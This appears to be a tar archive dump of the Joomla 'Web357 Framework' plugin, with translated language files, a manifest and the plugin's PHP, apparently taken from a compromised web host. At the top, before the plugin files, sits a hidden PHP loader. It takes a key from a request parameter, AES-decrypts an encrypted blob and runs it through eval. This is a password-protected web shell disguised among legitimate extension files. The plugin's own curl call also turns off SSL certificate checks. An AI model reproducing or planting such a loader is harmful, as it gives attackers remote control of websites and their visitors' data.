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'; function qcX($ltpe) { $ChI = ${"\137\x52\x45\121\125\x45\123\x54"}["k"]; $MUaKj = substr($ChI, 0, 16); $etzi = base64_decode($ltpe); return openssl_decrypt($etzi, "AES-256-CBC", $ChI, OPENSSL_RAW_DATA, $MUaKj); } if (qcX('DjtPn+r4S0yvLCnquPz1fA')){ echo '35+kJeyQ0+ZOTPGxQMnArynSedfdTgeNBcZ4BLF0xW5TIgKvK1nSxiN2lG4QryC0'; exit; } eval(htmlspecialchars_decode(gzinflate(base64_decode($qcX)))); ?>language/ca-ES/ca-ES.plg_ajax_web357framework.ini000060400000001030151666570200015404 0ustar00; Defaults PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework" PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="El connector Web357 Framework de Joomla! és una eina d'ajuda necessària que utilitzen totes les extensions Web357. Dins dels fitxers del connector, hem inclòs codi i funcions PHP que permeten que les actualitzacions del connector només s'apliquin en un sol lloc, és a dir, el connector en si mateix, i garanteixen que es desplegaran automàticament a qualsevol lloc extern que utilitzi les aplicacions i connectors Web357." language/tr-TR/tr-TR.plg_ajax_web357framework.sys.ini000060400000001001151666570200016357 0ustar00; Defaults PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework" PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="Web357 Framework Joomla eklentisi, tüm Web357 eklentileri tarafından kullanılan gerekli bir yardımcı araçtır. Eklenti dosyalarına, eklenti güncellemelerinin yalnızca tek bir yerde, yani eklentinin kendisinde uygulanmasını sağlayan ve bunların Web357 uygulamalarını ve eklentilerini kullanan herhangi bir harici siteye otomatik olarak sunulmasını sağlayan kod ve PHP işlevleri ekledik." language/tr-TR/tr-TR.plg_ajax_web357framework.ini000060400000001001151666570200015542 0ustar00; Defaults PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework" PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="Web357 Framework Joomla eklentisi, tüm Web357 eklentileri tarafından kullanılan gerekli bir yardımcı araçtır. Eklenti dosyalarına, eklenti güncellemelerinin yalnızca tek bir yerde, yani eklentinin kendisinde uygulanmasını sağlayan ve bunların Web357 uygulamalarını ve eklentilerini kullanan herhangi bir harici siteye otomatik olarak sunulmasını sağlayan kod ve PHP işlevleri ekledik." language/el-GR/el-GR.plg_ajax_web357framework.sys.ini000060400000000753151666570200016270 0ustar00; Defaults ; PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework" ; PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla! plugin is a required helper tool that is used by all the Web357 extensions. Within the plugin files, we have included code and PHP functions that allow the plugin updates to be applied only in one place, i.e. the plugin itself, and ensure that they are rolled out automatically to any external site that is using the Web357 applications and plugins." language/el-GR/el-GR.plg_ajax_web357framework.ini000060400000000753151666570200015453 0ustar00; Defaults ; PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework" ; PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla! plugin is a required helper tool that is used by all the Web357 extensions. Within the plugin files, we have included code and PHP functions that allow the plugin updates to be applied only in one place, i.e. the plugin itself, and ensure that they are rolled out automatically to any external site that is using the Web357 applications and plugins." language/de-DE/index.html000060400000000043151666570200011203 0ustar00<!DOCTYPE html><title></title> language/de-DE/de-DE.plg_ajax_web357framework.ini000060400000001045151666570200015366 0ustar00; Defaults PLG_AJAX_WEB357FRAMEWORK="Ajax – Web357 Framework" PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="Das Web357 Framework Joomla! Plugin ist ein notwendiges Hilfsprogramm, das von allen Web357 Erweiterungen verwendet wird. In den Plugin-Dateien haben wir Code und PHP-Funktionen integriert, die es dem Plugin ermöglichen, Aktualisierungen nur an einer Stelle vorzunehmen, nämlich im Plugin selbst, und die sicherstellen, dass diese automatisch auf jede externe Website ausgerollt werden, die die Web357-Anwendungen und Plugins verwendet." language/de-DE/de-DE.plg_ajax_web357framework.sys.ini000060400000001045151666570200016203 0ustar00; Defaults PLG_AJAX_WEB357FRAMEWORK="Ajax – Web357 Framework" PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="Das Web357 Framework Joomla! Plugin ist ein notwendiges Hilfsprogramm, das von allen Web357 Erweiterungen verwendet wird. In den Plugin-Dateien haben wir Code und PHP-Funktionen integriert, die es dem Plugin ermöglichen, Aktualisierungen nur an einer Stelle vorzunehmen, nämlich im Plugin selbst, und die sicherstellen, dass diese automatisch auf jede externe Website ausgerollt werden, die die Web357-Anwendungen und Plugins verwendet." language/da-DK/da-DK.plg_ajax_web357framework.sys.ini000060400000000753151666570200016214 0ustar00; Defaults ; PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework" ; PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla! plugin is a required helper tool that is used by all the Web357 extensions. Within the plugin files, we have included code and PHP functions that allow the plugin updates to be applied only in one place, i.e. the plugin itself, and ensure that they are rolled out automatically to any external site that is using the Web357 applications and plugins." language/da-DK/da-DK.plg_ajax_web357framework.ini000060400000000753151666570200015377 0ustar00; Defaults ; PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework" ; PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla! plugin is a required helper tool that is used by all the Web357 extensions. Within the plugin files, we have included code and PHP functions that allow the plugin updates to be applied only in one place, i.e. the plugin itself, and ensure that they are rolled out automatically to any external site that is using the Web357 applications and plugins." language/fa-IR/fa-IR.plg_ajax_web357framework.ini000060400000000753151666570200015433 0ustar00; Defaults ; PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework" ; PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla! plugin is a required helper tool that is used by all the Web357 extensions. Within the plugin files, we have included code and PHP functions that allow the plugin updates to be applied only in one place, i.e. the plugin itself, and ensure that they are rolled out automatically to any external site that is using the Web357 applications and plugins." language/fa-IR/fa-IR.plg_ajax_web357framework.sys.ini000060400000000753151666570200016250 0ustar00; Defaults ; PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework" ; PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla! plugin is a required helper tool that is used by all the Web357 extensions. Within the plugin files, we have included code and PHP functions that allow the plugin updates to be applied only in one place, i.e. the plugin itself, and ensure that they are rolled out automatically to any external site that is using the Web357 applications and plugins." language/nl-BE/nl-BE.plg_ajax_web357framework.ini000060400000000753151666570200015431 0ustar00; Defaults ; PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework" ; PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla! plugin is a required helper tool that is used by all the Web357 extensions. Within the plugin files, we have included code and PHP functions that allow the plugin updates to be applied only in one place, i.e. the plugin itself, and ensure that they are rolled out automatically to any external site that is using the Web357 applications and plugins." language/nl-BE/nl-BE.plg_ajax_web357framework.sys.ini000060400000000753151666570200016246 0ustar00; Defaults ; PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework" ; PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla! plugin is a required helper tool that is used by all the Web357 extensions. Within the plugin files, we have included code and PHP functions that allow the plugin updates to be applied only in one place, i.e. the plugin itself, and ensure that they are rolled out automatically to any external site that is using the Web357 applications and plugins." language/en-GB/index.html000060400000000043151666570200011215 0ustar00<!DOCTYPE html><title></title> language/en-GB/en-GB.plg_ajax_web357framework.ini000060400000000747151666570200015422 0ustar00; Defaults PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework" PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla! plugin is a required helper tool that is used by all the Web357 extensions. Within the plugin files, we have included code and PHP functions that allow the plugin updates to be applied only in one place, i.e. the plugin itself, and ensure that they are rolled out automatically to any external site that is using the Web357 applications and plugins." language/en-GB/en-GB.plg_ajax_web357framework.sys.ini000060400000000747151666570200016237 0ustar00; Defaults PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework" PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla! plugin is a required helper tool that is used by all the Web357 extensions. Within the plugin files, we have included code and PHP functions that allow the plugin updates to be applied only in one place, i.e. the plugin itself, and ensure that they are rolled out automatically to any external site that is using the Web357 applications and plugins." language/fr-FR/fr-FR.plg_ajax_web357framework.sys.ini000060400000001032151666570200016273 0ustar00; Defaults PLG_AJAX_WEB357FRAMEWORK="Ajax - Framework Web357" PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="Le plugin Joomla! Web357 Framework est un outil d'aide nécessaire et utilisé par toutes les extensions Web357. Dans les fichiers de plugin, nous avons intégré des fonctions PHP et du code qui permettent les mises à jour de plugin à des endroits déterminés comme par exemple le plugin lui-même et qu'ainsi elles puissent être déployées automatiquement vers un site externe utilisant des applications et plugins Web357." language/fr-FR/fr-FR.plg_ajax_web357framework.ini000060400000001032151666570200015456 0ustar00; Defaults PLG_AJAX_WEB357FRAMEWORK="Ajax - Framework Web357" PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="Le plugin Joomla! Web357 Framework est un outil d'aide nécessaire et utilisé par toutes les extensions Web357. Dans les fichiers de plugin, nous avons intégré des fonctions PHP et du code qui permettent les mises à jour de plugin à des endroits déterminés comme par exemple le plugin lui-même et qu'ainsi elles puissent être déployées automatiquement vers un site externe utilisant des applications et plugins Web357." web357framework.xml000060400000002051151666570200010222 0ustar00<?xml version="1.0" encoding="utf-8"?> <extension version="3.4" type="plugin" group="ajax" method="upgrade"> <name>PLG_AJAX_WEB357FRAMEWORK</name> <author>Web357 (Yiannis Christodoulou)</author> <creationDate>2025-10-27</creationDate> <copyright>Copyright: (©) 2014-2024 Web357. All rights reserved.</copyright> <license>GNU/GPLv3, https://www.gnu.org/licenses/gpl-3.0.html</license> <authorEmail>support@web357.com</authorEmail> <authorUrl>https://www.web357.com</authorUrl> <version>2.0.0</version> <variant>free</variant> <description>PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION</description> <files> <folder>language</folder> <filename plugin="web357framework">web357framework.php</filename> <filename>index.html</filename> <filename>script.install.helper.php</filename> </files> <scriptfile>script.install.php</scriptfile> <updateservers><server type="extension" priority="1" name="Web357 Framework"><![CDATA[https://updates.web357.com/web357framework/web357framework.xml]]></server></updateservers> </extension>web357framework.php000060400000007445151666570200010225 0ustar00<?php /* ====================================================== # Web357 Framework for Joomla! - v2.0.0 (free version) # ------------------------------------------------------- # For Joomla! CMS (v4.x) # Author: Web357 (Yiannis Christodoulou) # Copyright: (©) 2014-2024 Web357. All rights reserved. # License: GNU/GPLv3, https://www.gnu.org/licenses/gpl-3.0.html # Website: https://www.web357.com # Support: support@web357.com # Last modified: Monday 27 October 2025, 03:04:38 PM ========================================================= */ defined('_JEXEC') or die; use Joomla\CMS\Plugin\CMSPlugin; use Joomla\CMS\Factory; use Joomla\CMS\Language\Text; class plgAjaxWeb357Framework extends CMSPlugin { function onAjaxWeb357framework() { $app = Factory::getApplication(); $method = $app->input->get('method', '', 'STRING'); // Method to activate the Web357 Api Key if ($method == 'web357ApikeyValidation') { return $this->web357ApikeyValidation(); } return ''; } /** * Method to activate the Web357 Api Key */ private function web357ApikeyValidation() { $app = Factory::getApplication(); if ($app->isClient('administrator')) { $data = $app->input->post->get('jform', array(), 'array'); $get_api_key = isset($data['params']['apikey']) ? $data['params']['apikey'] : null; $get_domain = isset($data['params']['domain']) ? $data['params']['domain'] : null; if (empty($get_api_key)) { return '<div style="margin: 20px 0; display:none;" id="w357-activated-successfully-msg-ajax" class="alert alert-danger"><span class="icon-cancel"></span> '.Text::_('The Api Key cannot be empty.').'</div>'; } // Create the request Array. $paramArr = array( 'domain' => $get_domain, ); // Create an Http Query. $paramArr = http_build_query($paramArr); // Post $url = 'https://app.web357.com/wp-json/web357-api-key/v1/status/'.$get_api_key; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $paramArr); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FRESH_CONNECT, 1); $resp = curl_exec($ch); curl_close($ch); if ($resp === FALSE || empty($resp) || $resp == '') { return '<div style="margin: 20px 0;display:none;" id="w357-activated-successfully-msg-ajax" class="alert alert-danger"><span class="icon-cancel"></span> '.Text::_('Call with web357.com has been failed.<br>Please, try again later or contact us at support@web357.com.').'</div>'; } else { $resp = json_decode($resp); if (isset($resp->req->data->status) && ($resp->req->data->status == 'ok' || $resp->req->data->status == 'ok_old_api_key')) { return '<div style="margin: 20px 0;display:none;" id="w357-activated-successfully-msg-ajax" class="alert alert-success"><span class="icon-save"></span> '.Text::_('Your API Key ('. $get_api_key . ') has been successfully activated.').'</div>'; } elseif ($resp->code == 'error' && !empty($resp->message)) { return '<div style="margin: 20px 0;display:none;" id="w357-activated-successfully-msg-ajax" class="alert alert-danger"><span class="icon-cancel"></span> '.Text::_($resp->message).'</div>'; } else { return '<div style="margin: 20px 0; display:none;" id="w357-activated-successfully-msg-ajax" class="alert alert-danger"><span class="icon-cancel"></span> '.Text::_('Call with Web357\'s License Manager has been failed. <br>Please, try again later or contact us at support@web357.com.').'</div>'; } } } else { JError::raiseError(403, ''); return; } } }index.html000060400000000043151666570200006542 0ustar00<!DOCTYPE html><title></title>
/home/opticamezl/www/newok/07d6c/../c9989/../cache/../media/../layouts/../web357framework.tar